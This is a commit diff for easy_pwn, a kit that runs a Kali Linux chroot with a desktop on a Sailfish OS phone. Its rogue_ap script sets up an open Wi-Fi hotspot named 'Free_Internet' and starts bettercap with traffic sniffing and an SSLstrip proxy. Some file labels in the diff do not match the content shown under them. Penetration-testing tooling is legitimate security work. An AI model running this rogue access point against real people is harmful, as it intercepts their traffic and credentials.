new easy_pwn mountpoint,moved settings.sh

Author: r3vn

README.md

@@ -19,7 +19,7 @@ available actions:
 	- matchbox-keyboard : default virtual keyboard
 	- bettercap and bettercap-ui
 - **script** let you run custom scripts, default available scripts are:
-	- rogue_ap : set up an open access point, redirect traffic from wlan to mobile data and attach bettercap
+	- rogue_ap : set up an open access point, redirect traffic from wlan to mobile data then attach bettercap
 - **desktop** set some required environment variables, chroot kali and start xfce desktop
 - **shell** run chrooted shell session on fingerterm
 - **update** update desktop icons and chroot with latest easy_pwn scripts
@@ -67,14 +67,8 @@ To start the script manually:
 ```
 It is also possible to start a desktop session, in portrait mode, from the shell by running "/opt/easy_pwn/start_desktop.sh" script.
 
-**update scripts and icon**
 
-It is strongly recommanded to update the chroot after an easy_pwn upgrade
-```
-# ./easy_pwn.sh update /media/sdcard/sdname/chrootname
-```
-
-**run rogue_ap script**
+**run rouge_ap script**
 
 Make sure to have mobile data enabled and wifi enabled and not connected to any access point before proceed.
 ```
@@ -91,7 +85,11 @@ Make sure to have mobile data enabled and wifi enabled and not connected to any
 	```
 - Thunar file manager (kali default) crash the session, anyway nautilus works fine.
 - mousetweaks longpress works with long double tab ~~No right click on touch-only devices (long press on nautilus seems to work)(fix in progress)~~
-- "--root" on desktop mode to start a root session (without sound)
 - firefox-esr tabs crash with sounds however chromium works very well
 - multiarch support
-- done. ~~custom scripts~~
+- done. ~~custom scripts~~
+
+## supported device
+
+easy_pwn so far was tested on:
+	- Xperia X Compact with Sailfish OS 3.2.1.20 (Nuuksio)

deploy/easy_pwn/scripts/rogue_ap/settings.sh

@@ -41,7 +41,7 @@ CHROOT_PATH=`readlink -f "$TARGET"`
 PWN_ICON=$PWN_DIR/src/icon.png
 
 # import default settings
-. $PWN_DIR/settings.sh
+. $PWN_DIR/mount/settings.sh
 
 
 kill_chroot() {
@@ -73,6 +73,7 @@ umount_all(){
 	# umount the chroot
 	if mountpoint -q $TARGET/dev/
 	then
+		umount -R $TARGET/mnt/easy_pwn
 		umount -R $TARGET/dev/pts
 		#umount -R $TARGET/run/display	
 		umount -R $TARGET/run
@@ -155,7 +156,7 @@ check_mount() {
 		mkdir -p $TARGET/var/lib/dbus
 		#mkdir -p $TARGET/run/dbus
 		#mount --rbind --make-rslave /run/dbus $TARGET/run/dbus
-		mount --rbind --make-rslave /var/lib/dbus $TARGET/var/lib/dbus
+		mount --bind --make-slave /var/lib/dbus $TARGET/var/lib/dbus
 
 		# mount devpts 
 		mount --bind --make-slave /dev/pts $TARGET/dev/pts
@@ -165,8 +166,12 @@ check_mount() {
 		chmod 1777 /tmp/$CHROOT_NAME/
 		mount --bind --make-slave /tmp/$CHROOT_NAME $TARGET/tmp
 
+		# easy_pwn mountpoint
+		mkdir -p $CHROOT_PATH/mnt/easy_pwn
+		mount --bind --make-slave $PWN_DIR/mount $CHROOT_PATH/mnt/easy_pwn
+
 		# replace chroot iptables binary with sailfish's iptables
-		cp -ar /usr/sbin/iptables $CHROOT_PATH/usr/sbin/iptables
+		cp -ar /sbin/iptables $CHROOT_PATH/sbin/iptables
 
 		# copy resolv.conf
 		cp /etc/resolv.conf $TARGET/resolv.conf
@@ -180,9 +185,9 @@ check_mount() {
 update_pwn(){
 	# update easy_pwn kali scripts
 	# deploy easy pwn
-	echo "[-] easy_pwn deploy..."
-	mkdir -p $TARGET/opt/easy_pwn
-	cp -avr -T $PWN_DIR/deploy/easy_pwn $TARGET/opt/easy_pwn
+	#echo "[-] easy_pwn deploy..."
+	#mkdir -p $TARGET/mnt/easy_pwn
+	#cp -avr -T $PWN_DIR/deploy/easy_pwn $TARGET/mnt/easy_pwn
 
 	# deploy xfce configs
 	echo "[-] user configs deploy..."
@@ -193,9 +198,9 @@ update_pwn(){
 	echo "[-] fixing permissions..."
 	chown -R $PWN_USER:$PWN_USER $TARGET/home/$PWN_USER
 
-	# add execution permissions on /opt/easy_pwn
-	chmod +x $TARGET/opt/easy_pwn/setup_desktop.sh
-	chmod +x $TARGET/opt/easy_pwn/start_desktop.sh
+	# add execution permissions on /mnt/easy_pwn
+	chmod +x $PWN_DIR/mount/desktop/setup_desktop.sh
+	chmod +x $PWN_DIR/mount/desktop/start_desktop.sh
 
 	# add execution permission on wizard.sh
 	chmod +x $PWN_DIR/wizard.sh
@@ -239,7 +244,7 @@ start_desktop(){
 	# run kali-side script
 	echo "[-] chrooting..."
 	# store chroot output on /tmp/easy_pwn/epwn-session.log
-	chroot $TARGET su $PWN_USER -c "/opt/easy_pwn/start_desktop.sh $DESKTOP_ORIENTATION" >> /tmp/$CHROOT_NAME/epwn-session.log 2>&1
+	chroot $TARGET su $PWN_USER -c "/mnt/easy_pwn/desktop/start_desktop.sh $DESKTOP_ORIENTATION" >> /tmp/$CHROOT_NAME/epwn-session.log 2>&1
 }
 
 get_kali(){
@@ -251,7 +256,7 @@ get_kali(){
 		echo "[-] downloading latest kalifs armhf build from nethunter mirrors..."
 
 		# fix for connection issues
-		ec=18;
+		ec=18
 		while [ $ec -ne 0 ] 
 		do 
 			curl --output /tmp/kalifs-armhf-minimal.tar.xz -O -C - $KALI_IMG 
@@ -276,10 +281,6 @@ for i; do
 			OR_LANDSCAPE=true
 
 		;;
-		"--root")
-			# enable root session
-			ROOT_SESSION=true
-		;;
 	esac
 done
 
@@ -301,7 +302,7 @@ case "$ACTION" in
 		# run setup-desktop on kali-side
 		# requires username as first arg
 		echo "[-] chrooting..."
-		chroot $TARGET /opt/easy_pwn/setup_desktop.sh $PWN_USER
+		chroot $TARGET /mnt/easy_pwn/desktop/setup_desktop.sh $PWN_USER
 	;;
 
 	"desktop")
@@ -391,14 +392,14 @@ case "$ACTION" in
 		SCRIPT_NAME="$3"
 
 		# check if script main exist
-		if [[ -f "$CHROOT_PATH/opt/easy_pwn/scripts/$SCRIPT_NAME/main.sh" ]]
+		if [[ -f "$CHROOT_PATH/mnt/easy_pwn/scripts/$SCRIPT_NAME/main.sh" ]]
 		then
 			# execute the script 
 			echo "[-] loading $SCRIPT_NAME."
-			chmod +x $CHROOT_PATH/opt/easy_pwn/scripts/$SCRIPT_NAME/main.sh
+			chmod +x $CHROOT_PATH/mnt/easy_pwn/scripts/$SCRIPT_NAME/main.sh
 
 			echo "[-] chrooting..."
-			chroot $TARGET /opt/easy_pwn/scripts/$SCRIPT_NAME/main.sh
+			chroot $TARGET /mnt/easy_pwn/scripts/$SCRIPT_NAME/main.sh
 
 		else
 			echo "[!] script '$SCRIPT_NAME' not found."

easy_pwn.sh

@@ -21,7 +21,7 @@ export QT_QPA_PLATFORM=xcb # force qt applications backend to Xwayland
 export $(dbus-launch)
 
 # Start Xwayland window
-/opt/easy_pwn/Xwayland &
+/mnt/easy_pwn/desktop/Xwayland &
 sleep 3
 
 # set display to xwayland

deploy/easy_pwn/Xwayland mount/desktop/Xwayland

@@ -1,5 +1,3 @@
-interface=wlan0
-
 logger_syslog=-1
 logger_syslog_level=2
 logger_stdout=-1
@@ -8,7 +6,7 @@ logger_stdout_level=2
 ctrl_interface=/var/run/hostapd
 ctrl_interface_group=0
 
-ssid=FreeWifi
+ssid=Free_Internet
 
 hw_mode=g
 channel=1

deploy/easy_pwn/setup_desktop.sh mount/desktop/setup_desktop.sh

@@ -1,21 +1,21 @@
 #!/bin/bash
 # easy_pwn : rogue access point script
 
-# load script settings
-. /opt/easy_pwn/scripts/rogue_ap/settings.sh
+# load easy_pwn settings
+. /mnt/easy_pwn/settings.sh
 
 echo "(chroot) [!] WARNING: make sure your wifi is enabled in connman"
 echo "             and not connected, also make sure your mobile data"
 echo "             is turned on."
 
-ip addr add 10.0.0.0/24 dev $WLAN_IF
+ip addr add 10.0.0.1/24 dev $WLAN_IF
 sleep 1
 
 # Start dnsmasq 
 echo "(chroot) [-] starting dnsmasq dhcp server..."
 if [ -z "$(ps -e | grep dnsmasq)" ]
 then
-	dnsmasq -C /opt/easy_pwn/scripts/rogue_ap/dnsmasq.conf
+	dnsmasq -C /mnt/easy_pwn/scripts/rogue_ap/dnsmasq.conf
 fi
 
 echo "(chroot) [-] forwarding $WLAN_IF traffic to mobile data..."
@@ -42,14 +42,10 @@ echo 2 > /sys/module/bcmdhd/parameters/op_mode
 
 # start hostpad
 echo "(chroot) [-] starting hostapd..."
-hostapd /opt/easy_pwn/scripts/rogue_ap/hostapd.conf &
-sleep 1
+hostapd -i $WLAN_IF /mnt/easy_pwn/scripts/rogue_ap/hostapd.conf &
+sleep 2
 
 # start bettercap with webui, sniffer and http proxy with SSLstrip
-echo "(chroot) [+] done. "
-echo " "
-sleep 1
-
 echo "(chroot) [-] starting bettercap"
 bettercap -caplet http-ui -iface $WLAN_IF --eval "net.sniff on;set http.proxy.sslstrip true;http.proxy on;"
 

deploy/easy_pwn/start_desktop.sh mount/desktop/start_desktop.sh

@@ -0,0 +1,15 @@
+# easy_pwn : settings
+# general
+OR_LANDSCAPE=false # default landscape is off
+ROOT_SESSION=false # default desktop root session is disabled
+
+# kali linux
+KALI_IMG="https://build.nethunter.com/kalifs/kalifs-latest/kalifs-armhf-minimal.tar.xz" # kali rootfs download url
+
+# device
+WLAN_IF="wlan0" # wlan network interface
+MOBILE_IF="rmnet_data0" # mobile data network interface
+
+# easy_pwn 
+PWN_USER="nemo"
+PWN_VERSION="current" 

deploy/easy_pwn/scripts/rogue_ap/dnsmasq.conf mount/scripts/rogue_ap/dnsmasq.conf

@@ -37,12 +37,12 @@ PWN_SCRIPT=$PWN_DIR/easy_pwn.sh
 CHROOT_PATH="$1"
 
 # import default settings
-. $PWN_DIR/settings.sh
+. $PWN_DIR/mount/settings.sh
 
 script_selection(){
 	echo "[+] available scripts:"
 
-	av_scripts=$(ls $CHROOT_PATH/opt/easy_pwn/scripts/)
+	av_scripts=$(ls $PWN_DIR/mount/scripts/)
 	i=1
 
 	for j in $av_scripts
@@ -101,18 +101,23 @@ help_msg(){
 	echo "   - 00 this message"
 }
 
-echo "  ___  __ _ ___ _   _       _ ____      ___ __"
-echo " / _ \\/ _\` / __| | | |     | '_ \\ \\ /\\ / / '_ \\ "
-echo "|  __/ (_| \\__ \\ |_| |     | |_) \\ V  V /| | | |"
-echo " \\___|\\__,_|___/\\__, |     | .__/ \\_/\\_/ |_| |_|"
-echo "                 __/ |_____| |"             
-echo "                |___/______|_|  ($PWN_VERSION) "               
-echo "	"
+if test -f "$CHROOT_PATH/etc/hosts"
+then
+	echo "  ___  __ _ ___ _   _       _ ____      ___ __"
+	echo " / _ \\/ _\` / __| | | |     | '_ \\ \\ /\\ / / '_ \\ "
+	echo "|  __/ (_| \\__ \\ |_| |     | |_) \\ V  V /| | | |"
+	echo " \\___|\\__,_|___/\\__, |     | .__/ \\_/\\_/ |_| |_|"
+	echo "                 __/ |_____| |"             
+	echo "                |___/______|_|  ($PWN_VERSION) "               
+	echo "	"
 
-help_msg
+	help_msg
 
-while :
-do
-	input_loop
-done
+	while :
+	do
+		input_loop
+	done
+else
+	echo "[!] $1 is not a valid kali root."
+fi